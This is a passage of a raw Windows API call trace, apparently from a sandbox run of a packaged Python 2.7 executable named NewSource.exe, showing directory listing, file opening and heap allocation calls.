lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc55804, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc55804, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName="bz2.pyd", cAlternateFileName="")) returned 1 [0075.440] GetLastError () returned 0x12 [0075.440] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName="Crypto", cAlternateFileName="")) returned 1 [0075.440] GetLastError () returned 0x12 [0075.440] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde41520a, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde41520a, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde41520a, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName="Include", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc7ba19, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc7ba19, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc7ba19, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x37000, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName="msvcm90.dll", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddcc7f01, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddcc7f01, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddcee14e, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x8b490, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="msvcp90.dll", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd14536, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddd14536, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddd60857, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x9fa90, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd81a93d, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="NewSource.exe.manifest", cAlternateFileName="NEWSOU~1.MAN")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd86ac5, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddd86ac5, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddd86ac5, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="pyexpat.pyd", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfe8e71, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddfe8e71, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde143dca, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x287000, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="python27.dll", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1668ae, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde1668ae, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde1668ae, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="select.pyd", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde41520a, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="tcl", cAlternateFileName="")) returned 1 [0075.441] GetLastError () returned 0x12 [0075.441] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde2253aa, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde2253aa, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde27183c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xda600, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="tcl85.dll", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f4b867, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe3a95614, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe3a95614, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="tk", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde30a180, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde30a180, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde3886bf, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="tk85.dll", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3c8d6b, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde3c8d6b, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde3ef059, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa7c00, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="unicodedata.pyd", cAlternateFileName="UNICOD~1.PYD")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd8d9519, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd8d9519, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd95a418, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x10e200, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_bsddb.pyd", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd980b69, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd980b69, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd980b69, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_cffi_backend.pyd", cAlternateFileName="_CFFI_~1.PYD")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd980b69, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd980b69, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd9a6d06, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_ctypes.pyd", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9f31e8, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd9f31e8, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdda65925, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x10ba00, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_hashlib.pyd", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda65925, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdda65925, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdda8bb4c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_socket.pyd", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddafe297, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddafe297, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc09057, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x159a00, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_ssl.pyd", cAlternateFileName="")) returned 1 [0075.442] GetLastError () returned 0x12 [0075.442] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc2f38c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_testcapi.pyd", cAlternateFileName="_TESTC~1.PYD")) returned 1 [0075.443] GetLastError () returned 0x12 [0075.443] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_tkinter.pyd", cAlternateFileName="")) returned 1 [0075.443] GetLastError () returned 0x12 [0075.443] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9ba134, dwReserved1=0x0, cFileName="_tkinter.pyd", cAlternateFileName="")) returned 0 [0075.443] GetLastError () returned 0x12 [0075.443] FindClose (in: hFindFile=0x1055920 | out: hFindFile=0x1055920) returned 1 [0075.443] htonl (hostlong=0x30000000) returned 0x30 [0075.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bb668, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0075.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bb654, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0075.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb50c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.443] GetFileType (hFile=0x2ec) returned 0x1 [0075.444] htonl (hostlong=0x273d0000) returned 0x3d27 [0075.444] htonl (hostlong=0x3b130000) returned 0x133b [0075.444] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x133b) returned 0x10623a0 [0075.444] htonl (hostlong=0x3b130000) returned 0x133b [0075.445] htonl (hostlong=0xfc2a0000) returned 0x2afc [0075.445] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x2afc) returned 0x10646f0 [0075.445] htonl (hostlong=0x3b130000) returned 0x133b [0075.445] htonl (hostlong=0xfc2a0000) returned 0x2afc [0075.445] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x10671f8 [0075.445] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x10671f8 | out: hHeap=0x1030000) returned 1 [0075.445] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x10623a0 | out: hHeap=0x1030000) returned 1 [0075.445] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x10636e8 | out: hHeap=0x1030000) returned 1 [0075.445] CloseHandle (hObject=0x2ec) returned 1 [0075.446] htonl (hostlong=0xfc2a0000) returned 0x2afc [0075.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb52) returned 0x2ac9b50 [0075.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84188, Size=0x20) returned 0x30283f0 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a19178 [0075.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dd) returned 0x2a91990 [0075.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x474) returned 0x2cb61c8 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19a48 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac01f0 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac01f0, Size=0xb8) returned 0x2cde728 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde728, Size=0xe8) returned 0x325a7b0 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a7b0, Size=0x120) returned 0x2c375e8 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375e8, Size=0x160) returned 0x325f848 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f848, Size=0x1a8) returned 0x3029388 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3029388, Size=0x1f8) returned 0x2c30fc8 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30fc8, Size=0x250) returned 0x2ac3fc0 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3fc0, Size=0x2b4) returned 0x2c2cf88 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2cf88, Size=0x324) returned 0x2babc70 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2babc70, Size=0x3a4) returned 0x325d5f8 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325d5f8, Size=0x434) returned 0x3261ee8 [0075.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3261ee8, Size=0x4d4) returned 0x325ce68 [0075.447] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ce68, Size=0x588) returned 0x3261aa0 [0075.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58c) returned 0x2acd3d8 [0075.447] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3261aa0, Size=0x654) returned 0x3267c30 [0075.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x205) returned 0x2a8b3c8 [0075.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3267c30 | out: hHeap=0x2ad0000) returned 1 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.447] GetCurrentThreadId () returned 0x9b0 [0075.448] GetCurrentThreadId () returned 0x9b0 [0075.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.448] GetCurrentThreadId () returned 0x9b0 [0075.448] GetCurrentThreadId () returned 0x9b0 [0075.448] GetLastError () returned 0x0 [0075.448] GetLastError () returned 0x0 [0075.448] GetLastError () returned 0x0 [0075.448] GetLastError () returned 0x0 [0075.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84158 | out: hHeap=0x2ad0000) returned 1 [0075.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32ab9b0 [0075.448] GetLastError () returned 0x0 [0075.448] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ec [0075.448] GetFileType (hFile=0x2ec) returned 0x1 [0075.448] GetLastError () returned 0x0 [0075.448] GetCurrentThreadId () returned 0x9b0 [0075.448] GetLastError () returned 0x0 [0075.449] GetFileType (hFile=0x2ec) returned 0x1 [0075.449] GetFileInformationByHandle (in: hFile=0x2ec, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0075.449] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.449] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.449] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.449] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.449] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0075.449] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0075.449] GetLastError () returned 0x0 [0075.449] GetCurrentThreadId () returned 0x9b0 [0075.449] GetLastError () returned 0x0 [0075.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0075.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.449] GetLastError () returned 0x0 [0075.449] GetLastError () returned 0x0 [0075.449] GetCurrentThreadId () returned 0x9b0 [0075.449] GetLastError () returned 0x0 [0075.449] GetCurrentThreadId () returned 0x9b0 [0075.450] GetLastError () returned 0x0 [0075.450] GetLastError () returned 0x0 [0075.450] GetCurrentThreadId () returned 0x9b0 [0075.450] GetLastError () returned 0x0 [0075.450] GetCurrentThreadId () returned 0x9b0 [0075.450] GetCurrentThreadId () returned 0x9b0 [0075.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x44c1) returned 0x31d1380 [0075.450] GetLastError () returned 0x0 [0075.450] GetLastError () returned 0x0 [0075.450] GetCurrentThreadId () returned 0x9b0 [0075.450] GetLastError () returned 0x0 [0075.450] GetCurrentThreadId () returned 0x9b0 [0075.450] GetLastError () returned 0x0 [0075.450] GetLastError () returned 0x0 [0075.450] GetCurrentThreadId () returned 0x9b0 [0075.450] GetLastError () returned 0x0 [0075.450] GetLastError () returned 0x0 [0075.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0075.451] CloseHandle (hObject=0x2ec) returned 1 [0075.451] GetLastError () returned 0x0 [0075.451] GetCurrentThreadId () returned 0x9b0 [0075.451] GetLastError () returned 0x0 [0075.451] GetLastError () returned 0x0 [0075.451] GetCurrentThreadId () returned 0x9b0 [0075.451] GetLastError () returned 0x0 [0075.452] GetLastError () returned 0x0 [0075.452] GetCurrentThreadId () returned 0x9b0 [0075.452] GetLastError () returned 0x0 [0075.453] GetLastError () returned 0x0 [0075.453] GetCurrentThreadId () returned 0x9b0 [0075.453] GetLastError () returned 0x0 [0075.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32eca78 | out: hHeap=0x2ad0000) returned 1 [0075.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7048 | out: hHeap=0x2ad0000) returned 1 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32fcaa0, Size=0xae53) returned 0x32fcaa0 [0075.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d1380 | out: hHeap=0x2ad0000) returned 1 [0075.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x46c) returned 0x325fe50 [0075.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb36) returned 0x32602c8 [0075.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84230 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84230, Size=0x20) returned 0x30282b0 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282b0, Size=0x40) returned 0x2a18e18 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19968 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0e68 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x2cde968 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cde968, Size=0xe8) returned 0x325a030 [0075.453] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, 